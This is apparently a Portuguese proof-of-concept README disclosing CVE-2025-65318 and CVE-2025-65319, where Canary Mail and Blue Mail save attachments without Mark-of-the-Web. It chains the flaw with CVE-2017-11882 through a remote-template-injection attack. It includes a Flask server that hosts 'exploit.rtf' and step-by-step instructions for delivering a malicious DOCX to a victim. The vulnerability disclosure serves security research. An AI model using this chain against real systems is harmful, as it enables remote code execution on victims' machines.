PoC para CVE-2025-65318 e CVE-2025-65319

• CVE-2025-65318 (BDU:2025-13740): Ao usar a funcionalidade de interação com anexos, o Canary Mail 5.1.40 e versões anteriores salva documentos em um sistema de arquivos sem a tag Mark-of-the-Web, o que permite que atacantes contornem os mecanismos de proteção de arquivos integrados do sistema operacional Windows e de softwares de terceiros.
• CVE-2025-65319 (BDU:2025-13739): Ao usar a funcionalidade de interação com anexos, o Blue Mail 1.140.103 e versões anteriores salva documentos em um sistema de arquivos sem a tag Mark-of-the-Web, o que permite que atacantes contornem os mecanismos de proteção de arquivos integrados do sistema operacional Windows e de softwares de terceiros.

Visão Geral

O problema central não é que os usuários abram anexos maliciosos, mas que aplicativos como Canary Mail ou Blue Mail fornecem um recurso conveniente, porém inseguro, para salvá-los ou abri-los. Considero isso uma vulnerabilidade de segurança que expõe os usuários a atacantes.

CWE-693 - Falha de Mecanismo de Proteção

PoC

Para demonstrar a abertura insegura de anexos do Office Word por meio da caixa de diálogo "Abrir com" ou "Salvar como", foi utilizada a vulnerabilidade CVE-2017-11882 no editor de equações do Office Word 16 e versões anteriores.

1. Crie um objeto RTF malicioso no host do atacante que abra uma calculadora no host usando o script.
2. Implante um servidor para enviar um documento RTF malicioso usando Remote Template Injection.

from flask import Flask, send_file, request
import logging
from datetime import datetime

app = Flask(__name__)

# Configure logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

@app.before_request
def log_request_info():
    logger.info(f'Request: {request.method} {request.url} from {request.remote_addr}')

@app.after_request
def log_response_info(response):
    logger.info(f'Response: Status {response.status_code} for {request.url}')
    return response

@app.route('/download')
def download_file():
    try:
        response = send_file('exploit.rtf', mimetype='application/msword', as_attachment=True)
        logger.info('File download successful')
        return response
    except FileNotFoundError:
        logger.error('File exploit.rtf not found')
        return 'File not found', 404

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=5000)

3. Crie um documento DOCX arbitrário e use injeção de template remota executando, por exemplo, um script PowerShell.
4. O atacante envia o documento DOCX malicioso resultante à vítima.
5. A vítima abre o documento malicioso usando as funções "Abrir com" ou "Salvar como" no Canary Mail/Blue Mail.
6. Ao abrir um documento malicioso, a vítima pode ser comprometida sem pressionar nenhum botão adicional.

Impacto

Um possível RCE para usuários que utilizam versões desatualizadas do Microsoft Office Word 16 e versões anteriores

Versões Afetadas

• Canary Mail 5.1.40 e versões anteriores
• Blue Mail 1.140.103 e versões anteriores

Vídeo PoC

CVE-2025-65318

https://github.com/user-attachments/assets/fc99d603-f56f-451b-a9f2-821422feef61

CVE-2025-65319

https://github.com/user-attachments/assets/68b638b9-e906-4c78-baae-84a369f807f3

Referências

• https://bdu.fstec.ru/vul/2025-13739
• https://bdu.fstec.ru/vul/2025-13740

Aviso Legal

Este repositório é apenas para pesquisa educacional e de segurança defensiva